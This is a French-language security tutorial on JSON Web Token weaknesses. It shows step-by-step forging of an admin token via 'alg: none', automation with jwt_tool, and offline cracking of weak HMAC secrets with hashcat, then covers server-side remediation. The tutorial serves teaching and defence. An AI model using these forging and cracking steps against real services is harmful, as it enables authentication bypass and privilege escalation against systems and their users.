JWT : forger un token via alg none et casser un secret faible
Un JSON Web Token transporte des informations signées entre le client et le serveur, typiquement une identité et des droits. La sécurité repose entièrement sur la vérification de la signature côté serveur. Quand cette vérification est mal implémentée, le token devient modifiable et l’identité usurpable.
La structure d’un JWT
Section intitulée « La structure d’un JWT »Un JWT se compose de trois parties encodées en Base64URL, séparées par des points : header.payload.signature.
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.fefoSC1sQqKVaHb9biwUYQiOPDrQ8ksXWGspZoZrAUU- Header :
{"typ":"JWT","alg":"HS256"}déclare le type et l’algorithme de signature. - Payload :
{"user":"alice","role":"user"}contient les claims, les données applicatives. - Signature : le HMAC ou la signature asymétrique calculé sur
header.payload.
Le point à retenir : le payload n’est pas chiffré, il est seulement encodé. N’importe qui peut le lire. Seule la signature empêche de le modifier.
Le vecteur alg none
Section intitulée « Le vecteur alg none »Certains serveurs qui génèrent les tokens sont mal configurés : ils se contentent de lire l’en-tête pour savoir comment vérifier la signature. Ce comportement ouvre le vecteur alg: none.
La spécification JWT prévoit une valeur none pour l’algorithme, un token « non sécurisé » sans signature, hérité de cas d’usage où l’intégrité est garantie autrement. Un serveur qui honore aveuglément l’en-tête va donc accepter un token dont l’algorithme est none et ne vérifier aucune signature.
En passant le claim alg à none et en retirant la signature, on peut modifier le payload à volonté et manipuler les informations traitées côté serveur.
{"typ":"JWT","alg":"none"}Exploiter alg none
Section intitulée « Exploiter alg none »L’objectif : partir d’un token légitime, faire passer le claim role de user à admin, forcer l’algorithme à none et supprimer la signature.
Forger le token manuellement
Section intitulée « Forger le token manuellement »# En-tête forcé à none, puis encodage Base64URL sans paddingecho -n '{"typ":"JWT","alg":"none"}' | basenc --base64url | tr -d '='
# Payload modifiéecho -n '{"user":"alice","role":"admin"}' | basenc --base64url | tr -d '='Le token forgé assemble les deux parties, suivies d’un point final et d’une signature vide :
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4ifQ.Le point terminal est indispensable : le serveur attend trois segments, même si le troisième est vide.
Automatiser avec jwt_tool
Section intitulée « Automatiser avec jwt_tool »jwt_tool industrialise l’attaque et teste plusieurs variantes de casse (none, None, NONE, nOnE), certaines bibliothèques ne filtrant que la forme minuscule.
python3 jwt_tool.py <TOKEN> -X aSi la réponse renvoie un contenu authentifié ou des droits élevés, le serveur ne vérifie pas la signature.
Casser un secret HMAC faible
Section intitulée « Casser un secret HMAC faible »Quand le serveur vérifie correctement la signature en HS256, l’algorithme reste symétrique : la même clé secrète signe et vérifie. Si ce secret est faible ou issu d’une liste connue, il se casse hors ligne, sans interagir avec le serveur.
hashcat en mode 16500 cible directement le format JWT. Il rejoue le HMAC sur header.payload avec chaque candidat du dictionnaire jusqu’à retrouver la signature.
hashcat -a 0 -m 16500 \ eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.fefoSC1sQqKVaHb9biwUYQiOPDrQ8ksXWGspZoZrAUU \ jwt.secrets.list-a 0: attaque par dictionnaire.-m 16500: mode JWT (HMAC).- Le premier argument est le token complet, le second le dictionnaire.
Le fichier jwt.secrets.list de Wallarm regroupe les secrets par défaut et les clés faibles vues en production. Une fois le secret retrouvé, on signe soi-même un token dont le role vaut admin, parfaitement valide et indistinguable d’un token légitime.
Remédiation
Section intitulée « Remédiation »Fixer l’algorithme côté serveur
Section intitulée « Fixer l’algorithme côté serveur »Ne jamais déduire l’algorithme de l’en-tête du token. Le serveur doit imposer l’algorithme attendu à la vérification et rejeter tout le reste, à commencer par none.
# Python, PyJWT, vulnérable : aucune contrainte, none passejwt.decode(token, key)
# Correct : algorithms verrouille la liste acceptéejwt.decode(token, key, algorithms=["HS256"])// Java, jjwt, correct : la clé et l'algorithme sont imposés,// un token alg:none est rejeté faute de signature vérifiableJwts.parser() .verifyWith(key) .build() .parseSignedClaims(token);Utiliser un secret fort ou une signature asymétrique
Section intitulée « Utiliser un secret fort ou une signature asymétrique »Pour HS256, le secret doit être aléatoire et long, hors de portée d’une attaque par dictionnaire. Pour éliminer le risque de secret partagé, préférer un algorithme asymétrique (RS256, ES256) : le serveur signe avec une clé privée et vérifie avec la clé publique, aucun secret réutilisable ne circule.
Se prémunir de la confusion d’algorithme
Section intitulée « Se prémunir de la confusion d’algorithme »Un serveur qui accepte à la fois RS256 et HS256 est vulnérable à la confusion d’algorithme : un attaquant peut resigner un token en HS256 en utilisant la clé publique RSA comme secret HMAC. Verrouiller un algorithme unique ferme aussi ce vecteur.
À retenir
Section intitulée « À retenir »La signature d’un JWT n’a de valeur que si le serveur décide lui-même comment la vérifier. Laisser l’en-tête dicter l’algorithme, c’est confier la sécurité à l’attaquant : il passe alg à none et forge le payload de son choix. Deux règles suffisent à fermer la surface : imposer l’algorithme à la vérification plutôt que le lire dans le token, et utiliser un secret hors de portée d’un dictionnaire, ou mieux, une paire de clés asymétriques.